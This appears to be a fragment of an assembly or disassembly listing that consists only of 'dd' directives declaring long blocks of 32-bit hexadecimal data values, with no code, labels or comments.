		dd 0F60DCD60h, 19C05C3Ah, 0EA4E128Dh, 59446094h, 721293E3h
		dd 6AD62061h, 788D801Bh, 0EA4B156Eh, 75ABF8A4h,	4F2CBEE7h
		dd 79CAE848h, 4BC7BB2Dh, 0D7E7E7Ch, 0C87BA78Ah,	52D63FB3h
		dd 0D748B689h, 628679B2h, 0EFE06592h, 9A815FE1h, 2C59A057h
		dd 7723D1D6h, 0C5F90C8Fh, 429008B6h, 0A9734F3Bh, 0A780A76Ch
		dd 5DB1C3DBh, 0C0DDDB52h, 9FD02108h, 0D06585C0h, 8EEE3AA4h
		dd 3598C035h, 3DBC42CAh, 5941DAEDh, 6BE759DCh, 0ABC69963h
		dd 63EFE8h, 0D5EE4447h,	0BC7D0017h, 0B96EC719h,	4C240739h
		dd 4E56935Bh, 555F3827h, 8AE09B9Ah, 599FF888h, 6E0921B1h
		dd 7676D459h, 9B28EDA6h, 4C92641Eh, 219FDBE7h, 0F3C197B4h
		dd 1CEC6AE2h, 0D80F92B0h, 0CDA39DF6h, 98CEFDE8h, 2D338523h
		dd 0ED953FEFh, 0B877299Ah, 8321540Ah, 0F696AC51h, 0B9C81Fh
		dd 0F79C25D3h, 386D4B6Dh, 0A6A0F07h, 3FB70B4Ah,	5118CC55h
		dd 91651E4Ah, 5E00F79Bh, 3858F0Fh, 725717CCh, 4C6F9B9h
		dd 14013959h, 6C106772h, 67A6549Eh, 0F974D4D9h,	553AED79h
		dd 0C801F062h, 468126Eh, 484123B3h, 0DDC2C02Ah,	5DE1AE3Ch
		dd 90D5797Dh, 5E2C21E4h, 0BA31690Dh, 0A2451E96h, 76A0FD9Dh
		dd 0A27AB157h, 4AD20850h, 0B123E284h, 0EED702Eh, 1D4BD385h
		dd 0F13E0EC6h, 149D9E5Ch, 0FC9A0C5h, 707C03A0h,	0F82A90E0h
		dd 0D1C82273h, 59C4C8B5h, 1915E128h, 567D697Bh,	31ACB83Eh
		dd 63EF393Bh, 0FA4E0D89h, 6DAC7BC2h, 7F04C01Dh,	8393CA29h
		dd 0BBE9395Ch, 5A7517EEh, 94D7C19Bh, 0C2308B82h, 1FD3D81Ah
		dd 1F04CE9Dh, 5EE76928h, 0FEE79B50h, 0B1BB0E5h,	0BF82C699h
		dd 38C8CD3Dh, 58C191D0h, 940F3ED3h, 7AF98AFAh, 0C2F72DE9h
		dd 53A47623h, 0E6CE11FDh, 1A313B05h, 0B2DC2EB0h, 0A6038183h
		dd 8048EC8Ah, 8251E39Bh, 76104131h, 78F00F4Dh, 0B1D9CD33h
		dd 0CD01B646h, 681B4FD2h, 36D37D8h, 0D2BC6E12h,	39F1B85Dh
		dd 7A323F9Eh, 446C14F8h, 64F4B384h, 4E1E5C10h, 0E6E3B036h
		dd 0EF0B3C7Ah, 15906957h
		dd 3CCBC140h, 9FB30B59h, 0B2271DEFh, 96D49CA1h,	6DCAB529h
		dd 0F819F03Ch, 6B511CBEh, 0FB894881h, 24794256h, 0C3AFCA98h
		dd 0A9DA0EC6h, 0AF672B46h, 778FC11Dh, 29AF6871h, 9033257Ah
		dd 0DD40546Bh, 0D7EB28DAh, 38653453h, 3287F308h, 79BCD952h
		dd 0F376533Fh, 0AAE42283h, 0FDABFC52h, 0C66119C3h, 25F32703h
		dd 50A7416Ah, 0A96AAC9Ah, 0ACBADC08h, 6DCD8EF3h, 0C49DBB2Fh
		dd 0FE733C55h, 79FD2918h, 0E286D317h, 0D00FE901h, 774BDE20h
		dd 6FC637B9h, 4F424A4Ch, 3C14D2D1h, 652E297h, 0EFDBC33Fh
		dd 0FFD6C4A8h, 6A316A42h, 0A5C77668h, 0D95D53Bh, 0E8F28DCCh
		dd 0EAE96F1Dh, 1EB2C210h, 0A647D0ACh, 0D3700703h, 73BC0ABh
		dd 0CE5AF3BAh, 0FFF9EB4Eh, 4B548234h, 0A64DAB42h, 0A38E2233h
		dd 24875063h, 67C3BEECh, 7CC3F347h, 0D22996A3h,	0C6DB9157h
		dd 6D648CC7h, 16E04EDDh, 2F910568h, 4FCC63A4h, 391D3C03h
		dd 497CEA03h, 3329955Eh, 81D66EC8h, 0BA78EF5Ch,	0B9915455h
		dd 0F1732443h, 23C77CCBh, 4F496850h, 0D07E0597h, 9452E7B1h
		dd 3F666697h, 4CD8A57Fh, 5D83B3C0h, 516581F2h, 0D4E54C0Bh
		dd 0F6BEB362h, 6D6C1E64h, 8A70E068h, 0FACD92BDh, 40168B8Ah
		dd 9759BA71h, 0BED7A571h, 38C24FF6h, 0E303A77Bh, 32F1BBEDh
		dd 0E632E606h, 3D339636h, 79947964h, 9F36A177h,	5A729024h
		dd 1B4B1652h, 7F9BBE7Fh, 657B1C34h, 3B0D8BDDh, 0E63F373h
		dd 75437B00h, 658863A5h, 68ABD3AEh, 1CE3BE17h, 51C47B0Bh
		dd 2EDCC8E5h, 82C2C76Eh, 88ECC7DDh, 9FB0891Fh, 4CE9AB7Fh
		dd 0E2CD84E6h, 86883845h, 20DDF988h, 97B1285Bh,	0BB926274h
		dd 89614E81h, 1F9ECAD8h, 0D754E17Ah, 180F24E4h,	0DD5DA89Fh
		dd 0A4A60887h, 0F9921E92h, 0BB2B318Dh, 73DDB49h, 0AE07CE70h
		dd 0A0E8DEB7h, 0D15B9737h, 0F61E19FEh, 97682D0Fh, 34D2DBFDh
		dd 3B06B5D5h, 8D3D685Ch, 0F0A979AAh, 0C7A31AD9h, 9B324568h
		dd 0C014F4D5h, 0B926475Fh, 0F5D6A4F8h, 0FFEFEE67h, 640B9A17h
		dd 90B4AD0Dh, 0E8D315C6h, 4FD852Fh, 0EF46E250h,	0C64C9E33h
		dd 8D896E06h, 8D44622Ah, 481FAD5Eh, 280F6716h, 0A89197C8h
		dd 8BFD673Ch, 6158C246h, 708ED887h, 75EED061h, 0C0FAC6E1h
		dd 3B145109h, 0F3BAB90Eh, 0B4DB0EE7h, 0F54B03C6h, 8E0EEC4Dh
		dd 0CE698D99h, 0FF7F672Ah, 27254DCEh, 3F745729h, 6E88193Ah
		dd 723EB459h, 0FA581588h, 0B843A900h, 9E16AD3h,	0AF4FBF14h
		dd 1D300C0Ah, 0C813093Bh, 0CF20DD23h, 0CB91B885h, 45E2BEC3h
		dd 7E2A2981h, 0FA1CF1A3h, 8E0CB922h, 55F727DBh,	0F9D6B01Ah
		dd 0E219BB17h, 51F03643h, 0C6BDC4C5h, 8D0A5F21h, 9A6D8052h
		dd 9E7BF96Ah, 0C85F3D25h, 100C2565h, 18111A11h,	0DB25E317h
		dd 2EF90A5Bh, 163FD874h, 4CFC3737h, 9BF78C68h, 66612566h
		dd 3FAD363Ah, 7CE6423Bh, 3C84ABBFh, 82F353EDh, 0AA821B7Ch
		dd 89278000h, 2311A346h, 0F4AA2788h, 0CC599210h, 364ADE49h
		dd 5ADD135Dh, 0AC914A0Fh, 690B1BC1h, 0D600940Bh, 0C2C6D4DEh
		dd 8889C782h, 0B49297ABh, 7651EDA5h, 791819DCh,	0A3394A93h
		dd 3146AEABh, 663D201Fh, 0CF4BBD67h, 6ABD052Ah,	983C475Ah
		dd 0E443AC61h, 0C3B21171h, 32453DCCh, 0E73BA150h, 90575ABh
		dd 646C7436h, 51D40A35h, 14627253h, 4C72E59h, 0ADBEF2ACh
		dd 61E75B63h, 149F66Bh,	49D40B5Ah, 92C40A6Bh, 7E1D79D6h
		dd 43B54C81h, 82ED9DD1h, 4B5E1193h, 2695C56Ah, 793B16C9h
		dd 1AB9177Bh, 5D94CC6Bh, 0E80462C2h, 660123D1h,	28C35F7h
		dd 0D0D794B2h, 0E2C7ACE2h, 0ABC98198h, 2FC0288Ah, 7D0A0DA1h
		dd 8DEFEFD3h, 0EE3244B2h, 0A0096201h, 1E29D4EDh, 64DC2B0Fh
		dd 0D65ED7F1h, 12E79ECFh, 5E80F902h, 0F77701B7h, 0FBE05E13h
		dd 969FBB86h, 942E8353h, 164E5EECh, 0DFA5720Bh,	0AC1F9660h
		dd 5373F29Bh, 0BE4CDC89h, 1184EA0Ah, 5F20D812h,	62C2874Eh
		dd 22DFE98Bh, 0E9C3E1DBh, 0FE7B8868h, 0A9FFE6EAh, 804E77C5h
		dd 8E3AECEBh, 53399DEBh, 0D5069DC7h, 15269D5Ch,	0A4E71536h
		dd 0DA23CA9Eh, 0A8DE2861h, 18E1511Bh, 0D9975DEFh, 0A1E3B437h
		dd 0C7DF806Ch, 73718A85h, 0D7DF0F8Dh, 92C79FA0h, 90BD7B1Dh
		dd 0E39B9DFFh, 7B92BB52h, 0B4941C15h, 9BD06154h, 98A05CE0h
		dd 0E057197Dh, 19967A90h, 1CAA8B10h, 0D645A08Dh, 0CC00A8A8h
		dd 69C93C8Bh, 4A3B5D2h,	0C5472FABh, 501B063h, 4958D5AEh
		dd 2AAB962Eh, 3B463A6Eh, 0C1897BDFh, 0E522B9B0h, 31DF4B06h
		dd 0C50156CCh, 0CB0CAA05h, 455720F6h, 4254128Fh, 69E7E6EEh
		dd 0DE8E6289h, 0A5BADB49h, 8DAE3AACh, 0A3A8ACEFh, 0D947E2CCh
		dd 390CC800h, 56C5190Bh, 1593B65Ah, 284832F8h, 686FB116h
		dd 0F2D7EDC0h, 350D5551h, 0ABAF98C3h, 0A57E0AB7h, 50174D8h
		dd 39314C4Ch, 0AC7E5296h, 0A26A8A70h, 3D6C917Fh, 0B9B8A19Dh
		dd 0F077E4E0h, 0BB4ECCADh, 902531Ah, 6DCD8AB0h,	0E1389C83h
		dd 212C2967h, 0A41E19E4h, 40C240BEh, 628E625Ch,	0CF3C2AECh
		dd 87E0A52h, 0E1A309E6h, 47A1C11Eh, 0CACAFA03h,	5EA6B107h
		dd 23E0C6CCh, 0E2313CACh, 200E0E1Dh, 0AC3E39D8h, 3A97B7F6h
		dd 3A8A10F0h, 0B397EA03h, 28C5341Ah, 0A7615C76h, 0C9281ED5h
		dd 7CE40A28h, 8335972Eh, 794B5A4Ah, 6FEF6DFCh, 5A22D463h
		dd 879233FFh, 0D0E865D4h, 0B38D0C95h, 24776D02h, 0BF41F880h
		dd 0EDCD86C8h, 3E8FC903h, 3BE08C4Ah, 0A46D834h,	679E1057h
		dd 50986260h, 9F19CB15h, 863F8D0Eh, 661484FFh, 0DA520BEEh
		dd 93892A77h, 0AC6213Ch, 1BF522FCh, 0D7C588EDh,	2B553EF8h
		dd 0BE3AFAE1h, 0B6E3B473h, 0A5F26E1h, 0EBD24E06h, 69CE6414h
		dd 0FA358741h, 6C8A7A7Fh, 7C85578Dh, 54151107h,	1DC4A2AEh
		dd 0FE39DAABh, 7CBA5685h, 0B1C30349h, 61D769ADh, 660F2233h
		dd 0FD00E20Bh, 9773EC97h, 65699A8Ch, 82644A0Bh,	67CD52D1h
		dd 60177400h, 0F777AB5Eh, 0C906D0CAh, 4AA3D076h, 93420429h
		dd 948B4BDAh, 44315768h, 0CBEF9EA6h, 8F16CAD8h,	7E311B8Dh
		dd 744273CBh, 0DA35393Eh, 4F57D9A9h, 0E659ACCh,	2365E066h
		dd 0AF1F1916h, 0DF0C217Fh, 0D0009B86h, 0B677538Ch, 2AA2E976h
		dd 0E01194E5h, 807B1608h, 82F58096h, 7BF60777h,	0F1646203h
		dd 0F93E81Fh, 0BE57B58Fh, 0F3A15E28h, 1267BB7Fh, 9439B03Fh
		dd 0C592A928h, 21B3A377h, 35D3C8AEh, 62174BE5h,	93D2D2C0h
		dd 8FF39E8Eh, 0AD4FF4CBh, 42C332FAh, 33BA0F5Dh,	326BA9E2h
		dd 2E20363Bh, 7B148DC3h, 6ED04F6Dh, 0DD16F6DDh,	30DF2BFDh
		dd 84B01894h, 0E31BB0A6h, 0F84BAEBBh, 0F1023260h, 0AE46649Eh
		dd 6FD1C188h, 8FC4DCFEh, 95F4B1D8h, 7B8991EBh, 0C45366D2h
		dd 0FD9C7ED4h, 6835DB33h, 599F83E6h, 0E292BE3Ah, 0DEF82DB1h
		dd 0E78AEA51h, 0B9054665h, 5B6B938Bh, 0E4567DF9h, 33FAF944h
		dd 56DB0C0Eh, 0C52211BDh, 0F863EADBh, 0B36D8991h, 2AB4CA98h
		dd 5CC2260Eh, 6E304925h, 72056F2Dh, 53B9CAE9h, 0A8223F00h
		dd 9BBC295Ah, 63A66CC8h, 0DFD6DCDCh, 0E09AF0E1h, 0B59BD9A6h
		dd 493C96FCh, 3564E4A5h, 0D55A9B4Eh, 0C7EF7754h, 8ABC71B2h
		dd 0E8AEDFCFh, 0FF37CC7Eh, 71B229B7h, 212D58ABh, 1EFF09D7h
		dd 0CAF68DCEh, 9E29FC3Fh, 0D050A27Fh, 0A83AC2DFh, 0FEF9E74Fh
		dd 0AC491AAAh, 5EAF29Eh, 0CC317ECAh, 0B082E087h, 9DD3E78Eh
		dd 130A2E88h, 1AA8019Eh, 3B9B8E24h, 1AA91879h, 98121BADh
		dd 0D3472E0Fh, 48D34623h
		dd 0B3EB442Bh, 4BA7BB59h, 0BC51EC68h, 348183B3h, 0AD0E274Dh
		dd 8B07E7AFh, 0E829CB1Fh, 4D6F2A5Dh, 0EEAEDE2Dh, 0EB43EAF0h
		dd 3133CE11h, 9E03FCDDh, 368B7B30h, 0EBA66FCBh,	0E1FF6FEEh
		dd 0B8B018BBh, 5204DB5h, 810E6A9Fh, 0E3A438C6h,	0E6765E31h
		dd 0F2AEBFF9h, 0E16EF2E9h, 46BC4CCAh, 0FF9DFB0Bh, 79B20998h
		dd 51111990h, 58ADB7FAh, 488F7AF7h, 0A63F69BEh,	2512BB25h
		dd 6DCE9911h, 0D9F323C0h, 2508E6CBh, 0AB9EE16Eh, 0D05A03AAh
		dd 0BBDB4048h, 48368422h, 0FEEB7636h, 0F049B355h, 0B8FE4FFBh
		dd 920C2859h, 2C25EE02h, 851BE527h, 3FE523A7h, 256CF992h
		dd 694B23B8h, 0A5CDD14Dh, 2ABAECEAh, 0DDD625DAh, 0BEFB4CF9h
		dd 0E0065714h, 0FFE17CB9h, 20F9EFC8h, 194102ECh, 5C3F125Bh
		dd 39147EAh, 433B47E2h,	132A61D6h, 0C27E1381h, 0B789ACE9h
		dd 0EEB70A61h, 73851116h, 0DE64F16Eh, 9F90578h,	77A52A82h
		dd 184E2B16h, 0C23F7BACh, 66E7BE93h, 0BBFAB128h, 329FAF2Ah
		dd 4909CEA6h, 0E98A90A2h, 0EF86DE96h, 0DE36840Ah, 5F62EA64h
		dd 9BBA6994h, 71194653h, 0F8B99C89h, 3FB54390h,	0A21195F4h
		dd 533FABF6h, 0D454BE08h, 0C96C690Ah, 256F3725h, 6524FDh
		dd 0D9DDDAE6h, 34E1809Fh, 52B31D56h, 2F94F046h,	0F7C87249h
		dd 0A782AA00h, 62DC0C0Bh, 2537ACDEh, 0E8FB5AE5h, 0D378E7BBh
		dd 9DC7BF0Eh, 6C199614h, 0DEA67B35h, 0FFA078DCh, 68E2D925h
		dd 0D9176A5h, 0BD57984Eh, 84B165EDh, 0FED6C857h, 86365DDFh
		dd 0F0024581h, 4909137Ah, 76486CC5h, 72A20992h,	192A925h
		dd 9092BC79h, 89338B36h, 0B942309h, 38BB8E8Dh, 0A4F7D8AFh
		dd 0D04472A1h, 0BFF1FD7Fh, 348E2EAFh, 7BFC1ABh,	84023A65h
		dd 1B28BB4Ch, 39D7199Dh, 0B594CD4Fh, 0EEA2ACD3h, 1C3145BCh
		dd 44FF49D2h, 0DF90E080h, 0E0C4EE52h, 0CAF60E42h, 3EF07083h
		dd 6CBCF3D0h, 0C5DCC672h, 61DA7156h, 0F9EE9525h, 0D9152145h
		dd 4D9D2B25h, 7671A8BAh, 0B02C16F8h, 73EE5B09h,	681CEEEDh
		dd 6A914F81h, 7FEE654Fh, 700FE4B3h, 96A8724Bh, 0A2E6C337h
		dd 89307F11h, 0A5BCC3F1h, 24BFCF9Fh, 84725EAEh,	562BDE4Bh
		dd 452B6F1Ch, 3554020Ah, 0E41AC892h, 0BB26DD04h, 952B9BA6h
		dd 0F72FBCD7h, 0C80BD342h, 5D5A9A34h, 9E2AA5DAh, 4C9FE2F0h
		dd 0F23FDC86h, 609B4AB5h, 0C7503930h, 7356F120h, 6C0BA470h
		dd 47E1655Ch, 0B04E01B2h, 3C7CB8CAh, 7C6B063Ah,	5DD3C657h
		dd 32EEC553h, 0DC93EA70h, 0CBDDDD28h, 807F5E6Ah, 0B3C26EB9h
		dd 0E3D3CE75h, 0C118239Ch, 41C939CDh, 0C6672154h, 490C75E6h
		dd 0E1C5969Dh, 1BF7DB8Eh, 30CA5D1Ch, 88EBAA02h,	86FEAEBEh
		dd 0B7116651h, 4DD9FEEEh, 0E214961Ah, 0E0E3D32Bh, 85FCAFD9h
		dd 26DD7AC9h, 0CB9414D4h, 72AFEBF0h, 0B2FDA4F8h, 16E8AF92h
		dd 0BF0E3C43h, 0F1EB22E6h, 0EBD14DE0h, 0B2099287h, 36F51072h
		dd 630EE3FBh, 9DA3A78Eh, 0A83AF936h, 4BAF6610h,	0D36E4194h
		dd 0D4CC452Eh, 61523470h, 0DEA0027Eh, 0DF9C247Bh, 0F757EB10h
		dd 3CC3363Dh, 0E0E72B64h, 9EC3E74Dh, 9C672C20h,	1501F77Fh
		dd 21D5FC5Dh, 79E7B826h, 0E28456E9h, 4E7778F8h,	0F9EE9526h
		dd 58980226h, 0D38E9D8h, 0ABB83E80h, 0A39BE872h, 36057B78h
		dd 20EE9DC1h, 32603E8Ah, 8F801C34h, 2C0C3409h, 83F13FF7h
		dd 23B4BDCAh, 0F9F71271h, 0DD837F0Dh, 0A36D878Ch, 0AA981F1Eh
		dd 0DF69F7D8h, 472986A4h, 0C65FBFCBh, 0B456D5DCh, 0C3F7D3C8h
		dd 16151451h, 87CA27F8h, 0C309CCB5h, 867B4E9Eh,	0ED5F26BDh
		dd 0C209EC11h, 47C9EDECh, 0B3C99551h, 0F008EAD0h, 7BB2FA1Bh
		dd 0E1D12B52h, 2C390490h, 7C844AB9h, 912C29F2h,	0C2C5E06Bh
		dd 0D16583EEh, 4147FC21h, 71CB9820h, 0EDFAE9F9h, 867331CFh
		dd 77979ACFh, 81AD41EBh, 5E685680h, 1D4C297Dh, 1DB04D99h
		dd 0C30B3348h, 0E868E184h, 5D0A8F0Bh, 74E11B48h, 4E0B7724h
		dd 20589F53h, 37961C73h, 0F1D9BB53h, 0C5689B92h, 0D981719Ch
		dd 0DC54E6BFh, 95641C2Fh, 0C64C7D7Eh, 0C36187F5h, 6D78ECE4h
		dd 6362160h, 36EB6F2Eh,	6BBE25F2h, 0BCC0429Bh, 96E93F00h
		dd 7A3E588Eh, 0E736B6B4h, 0FAAA44A3h, 3C4BEF1Ch, 0E930C89Bh
		dd 20AB0344h, 79E133E4h, 2E1EA513h, 883EF107h, 364776A5h
		dd 1B68E6B5h, 8AAEC47Eh, 482052Dh, 0C8B4C11Ch, 659835D4h
		dd 0B9CD7407h, 7E0EFDBh, 5B62A087h, 989B62DEh, 76DAFF91h
		dd 77544692h, 60C3AB66h, 1F4C0591h, 0A1D39EC0h,	7391780Eh
		dd 0C36C5652h, 0ACAD30F4h, 264206EDh, 622BA945h, 88BCA308h
		dd 5DF06D87h, 0B06AB91h, 0A1D499A1h, 0EE63BE2Ch, 0C1905E71h
		dd 0B0853449h, 7AF4FC8Fh, 4C72EFADh, 413CAA9Dh,	1682B11h
		dd 4F3B0494h, 0F5D04EE2h, 8A94D9FFh, 26A9DAE8h,	73630A1Bh
		dd 0F3E141C1h, 59B41730h, 7D1EC856h, 150682FEh,	16BE1C1Eh
		dd 298DC59Bh, 0D7E487E2h, 0AE940B7Eh, 0F7CAF939h, 264FB4B2h
		dd 457CE634h, 5BA9D52Bh, 0B1A41B46h, 94B7AACFh,	4D986FDBh
		dd 94F31A1Dh, 34A4BC0Eh, 0F6B2CD93h, 0EADFFFA0h, 995D7A7Eh
		dd 0EB695B28h, 0A5118631h, 0C9EE9693h, 0A5FB749Dh, 0E68F0B81h
		dd 665DA098h, 15BDD9D7h, 0F54EF8C5h, 6763F523h,	3703D63Ch
		dd 0D7B3C8F9h, 88E8258Dh, 0CF90E0B1h, 3F5AF51Ah, 0BDD236C0h
		dd 0DE2E47A7h, 72359067h, 0DCCBDF7Dh, 0B4EDD634h, 3BF4388Dh
		dd 26EF5CF9h, 277F6314h, 8FCBCAA1h, 7F78A423h, 0A9343C33h
		dd 0D5EB532Ch, 81EE58E1h, 0ABE2A6Dh, 0A1C592E9h, 2B64D15Ch
		dd 0CAC1A3BAh, 953880BFh, 0B84C1EE3h, 4CA8C31Bh, 0F5954C14h
		dd 53E91DF4h, 35439577h, 0EEF18617h, 0E0D2E1FDh, 7BAB384Ah
		dd 793DBB80h, 11E760C1h, 6E26091Ah, 5463D72Eh, 13C61BEAh
		dd 65ECE629h, 2FD53592h, 1E3CAE72h, 50D38A16h, 0B5A5B984h
		dd 0BD9B24BEh, 5224D65Dh, 0F6D605EAh, 51DBFB1h,	797A7745h
		dd 2E9A906Ah, 0DCE13D3Ch, 218D23CBh, 4F18EC8Dh,	6CF1BC68h
		dd 3EDCF363h, 0A505C445h, 0BD9D8445h, 6C63CA22h, 5B3E090h
		dd 0AFA390F0h, 0BF60CE2Ah, 0F58C64AEh, 16505704h, 21C8819Fh
		dd 1CF55DAEh, 882EDEB4h, 12FC7A78h, 0CB48AF87h,	0C2A1354Dh
		dd 643849EAh, 7D614B65h, 0A2FCC148h, 0BA37FDFDh, 6D55D8C0h
		dd 4A162C93h, 0F2936F24h, 7951AB59h, 5D3E99DCh,	0FC74F718h
		dd 5C790A57h, 6C1BAAF5h, 8513BAA6h, 0FB9ABAEh, 1AA7ED65h
		dd 0E5926DADh, 3BAD7351h, 5181B2E5h, 0F142016Eh, 8DF1C00Bh
		dd 7FA44D8h, 4E5A7429h,	0A51EFBE5h, 991E35E7h, 238277BAh
		dd 2D3751Dh, 4EC56397h,	665F249Bh, 6045B523h, 6711762Eh
		dd 0F3919955h, 2FF4A6AAh, 0A5785E8Eh, 0D0703908h, 65225BC3h
		dd 48629B3Ah, 38C451FCh, 54CE5E6Eh, 0DB59FA40h,	36668D33h
		dd 30E899E3h, 1DC6855Dh, 657A90DCh, 19F401A1h, 0B8922A80h
		dd 0EEB601DDh, 391C245Fh, 0F18C6910h, 6CBE1400h, 6A630D39h
		dd 8600CBCCh, 0F15A539Eh, 417FA64Bh, 734488F1h,	7F4551CFh
		dd 6181A657h, 0DCB27B70h, 0FF2E5D84h, 5777B385h, 25CEA915h
		dd 0D399FBC3h, 0E130034Eh, 0B3EBF416h, 4B67F5FEh, 740D9CADh
		dd 1D8AB86Ch, 0CF66D395h, 3EB868E0h, 0E8876783h, 610AE525h
		dd 0F7C2E5CCh, 5E133660h, 1A1BC5DCh, 0AAEE7B93h, 139DEF5Ch
		dd 8F3BF253h, 0A69CD179h, 77165120h, 0F7EEC69h,	3A88DC78h
		dd 4B9F444Dh, 230D59AFh, 0C2CE532Eh, 19CF54EAh,	8B8395BCh
		dd 3363BE29h, 8FB7B8F7h
		dd 0DC2955E0h, 0DD382D58h, 668F0D06h, 63C9C59Bh, 775021A7h
		dd 53C6728h, 882CF5ACh,	0AF07137Ch, 528BC48Ch, 914B6097h
		dd 4162A8E8h, 539FACC5h, 0E05C3DDEh, 0B91DCEB1h, 4A0AC35Bh
		dd 0A7151F8Dh, 2C548D2Ch, 15C238F4h, 3F077130h,	0C3F622DCh
		dd 2937ABAFh, 1D51936Fh, 433A8444h, 0A154704Eh,	9DA68B7h
		dd 0DA88986h, 0FD4B20BDh, 17B7DAC8h, 0A0E73BC0h, 0F52422EBh
		dd 0D7CC1579h, 0C4CB955h, 0D7465917h, 2309844h,	41108201h
		dd 0DE7D4692h, 537D686Fh, 0BDCCB477h, 0D774031Eh, 26C23FE7h
		dd 0E15E97CBh, 0D6D9D34Eh, 5F03F515h, 3B74993Ch, 761859C9h
		dd 0F58E2838h, 1DEC578h, 38624769h, 0CE776316h,	44938D6Bh
		dd 1BC5BF61h, 0C6F2B8E4h, 9FCE60DDh, 0D068B63Bh, 5CC7DD73h
		dd 0F3B302C0h, 5D95228Dh, 9072E325h, 6B15CB5Eh,	0C62CE7F8h
		dd 0F480F654h, 0F22D7515h, 0FF8EC904h, 0BF509238h, 0B97A69FAh
		dd 0C18AD027h, 0CD187039h, 88FBC360h, 0C334139Bh, 0C213283Fh
		dd 0C2256668h, 43BC1041h, 8C0B8B98h, 61F9F71Ah,	43FBC1B9h
		dd 865235D1h, 0B007C504h, 0FD4FB475h, 0D26364D6h, 0BF21CA26h
		dd 0F20C4665h, 70C79EAEh, 281441F1h, 0A281C76h,	0E076D42Eh
		dd 586F0687h, 0CDCE8AFEh, 32B6AE44h, 94C71C4h, 9AD90418h
		dd 0FBA1FBD7h, 528346Eh, 171EDA6Ah, 0B81EE993h,	0CB72990Eh
		dd 0C836869Eh, 9EC248F7h, 6E834F50h, 0F0837535h, 4DEF90B6h
		dd 82F83C87h, 0C265ABB2h, 1CA47B2Eh, 0BF5A5B57h, 60478D0Dh
		dd 9D548AC2h, 8392F54h,	5923F975h, 0BC4DFE78h, 31616D4Ah
		dd 0EBF00F33h, 0DC1DF726h, 57BDE7C7h, 59CB25BAh, 95B145D5h
		dd 0C2D7235Fh, 6A5901DBh, 12291AA8h, 0E81877D9h, 11C26FD1h
		dd 6C84D9AFh, 0DA27437Fh, 9A641E73h, 670149C4h,	0EBE2E99h
		dd 0F8656BF0h, 0E40961E3h, 0A026D00Ah, 0A8229013h, 0AF2062FDh
		dd 7F616B21h, 52F2A4BDh, 0A698BC9Fh, 10AAF025h,	88934F9h
		dd 7FFAAC65h, 0D34F4E76h, 5DBE373Eh, 1DF288C0h,	0BAEE0FF0h
		dd 87B80A5Fh, 410EDAC5h, 4DACE741h, 63F53F47h, 0C7E57811h
		dd 0ED592EE8h, 3A76C29Bh, 0F8E36F96h, 0D9AD497h, 0B9041286h
		dd 401DCB05h, 4C888877h, 0BF6CF364h, 9B4B69E2h,	5A344FECh
		dd 0A8E06381h, 28A6CAAFh, 0E069348Dh, 472FA1F1h, 9729458Bh
		dd 8880E8ABh, 0A0B8A4BCh, 6256F7E0h, 3EEBA66Eh,	9E5D6031h
		dd 6B78C0B5h, 597F5CCEh, 0B6675BDFh, 98126C3Fh,	0B55903C2h
		dd 197E7A51h, 0C5C0B299h, 37A61722h, 0EAEF917Fh, 0EDB99AAFh
		dd 4B01B5B6h, 4CFE8FAFh, 5A5F44F2h, 869F561h, 0A3E276D1h
		dd 17DCFCBEh, 0A30DD090h, 3D33B4AAh, 51DCE7E1h,	0F08DB71Bh
		dd 9A84BA61h, 0F965FDFBh, 726BD3ABh, 116E6BF0h,	0B8C2A98h
		dd 0FE156719h, 0A23B1431h, 0E51469Eh, 66686A3Eh, 7D79BD9h
		dd 7D5BB929h, 2D2E46Eh,	2351A25Fh, 8EC17960h, 0B0145E40h
		dd 0FBDABF4Eh, 64D7ABC5h, 612E2670h, 8C8A5A93h,	49CA0BB9h
		dd 95F30D7h, 22218E2h, 0CEC5051Ch, 0BC83E6CBh, 0CB512642h
		dd 18792DBh, 91093D01h,	0DB82D7D6h, 0AF068050h,	7211D255h
		dd 3962696h, 455C2689h,	3662FF01h, 1F342480h, 0CE4D8D7Eh
		dd 83E2EE2Ah, 0B117488Bh, 3371D74Ch, 0EAD996C8h, 7B05711Bh
		dd 0AEBFD79Eh, 7088571Bh, 1D904FEEh, 0B54838C4h, 0B88D9512h
		dd 0A6834A5Fh, 79F86461h, 0C8228AC8h, 23F6D91Dh, 0F34A0F92h
		dd 38C3B0C2h, 0D83AF843h, 8198E1FEh, 9668A5D0h,	66B2812Bh
		dd 8D7D4656h, 0F21E75B2h, 6A59B6FAh, 93A91F54h,	29D21371h
		dd 9B9F7937h, 0C3D5F776h, 269FAF5Dh, 170FD0A1h,	107E533Ch
		dd 0EFAD8ECDh, 0BF00F691h, 6F1EF54Eh, 0CE70C6DAh, 0C1822B99h
		dd 0F7496BBFh, 0BCAC750Ah, 0CC72047Eh, 5B3DCB75h, 0DE6990F4h
		dd 9A25DEA1h, 3AD73FF8h, 3306BF50h, 0B8AF34A5h,	0B00AD38Dh
		dd 0F5FF7D86h, 603DC6F9h, 20621721h, 1819EF1Ch,	708D794Ah
		dd 0D33412h, 1A1F098Ah,	4006095Bh, 4FA0F438h, 24191AB3h
		dd 0DB2EA3BAh, 0E0D11ECFh, 955E82B4h, 3C3FE78Dh, 0FF814CD4h
		dd 63848CD4h, 166C4345h, 0F1DF19CBh, 84615CB4h,	0F149A039h
		dd 0C2D8620h, 0DBF70DE4h, 53C372A9h, 906FA30Ch,	22AFF4ACh
		dd 13D19E59h, 6489BAF6h, 9B6C9D24h, 0B2B605BBh,	506CB24Ah
		dd 63B3019Fh, 0D298CA20h, 0B1996920h, 969D6A1Ch, 30EC8158h
		dd 346B5B19h, 6FA847B1h, 3FB9FB1Ch, 943A148Fh, 53EFFDF6h
		dd 67477E86h, 4330FF1Ah, 89AEAC0Ch, 80019552h, 461516A6h
		dd 5AD9A816h, 63E1AD27h, 71F853C5h, 0E59938A5h,	5006CD6Eh
		dd 6D91B2A6h, 9F549C18h, 748CBAFBh, 0B0717AC2h,	4CAAC1E4h
		dd 3D7D2557h, 83C49E53h, 15A4D5F5h, 76C27FA1h, 1C26827Fh
		dd 1DFA77FEh, 0B3651422h, 0C9027E4Eh, 0D3DA4979h, 0ECA76E79h
		dd 155A0966h, 69B3E319h, 11F824C8h, 154BCF96h, 0B09FE89Ch
		dd 16A77587h, 0A6339617h, 2BF55EF0h, 9942B983h,	22A579B3h
		dd 6E0E4AA4h, 0FA52E5F2h, 0AC9BCB54h, 1F1ED97h,	0E902F783h
		dd 55CE2956h, 17DDB49h,	7984BBEEh, 0B8D28897h, 9794693Fh
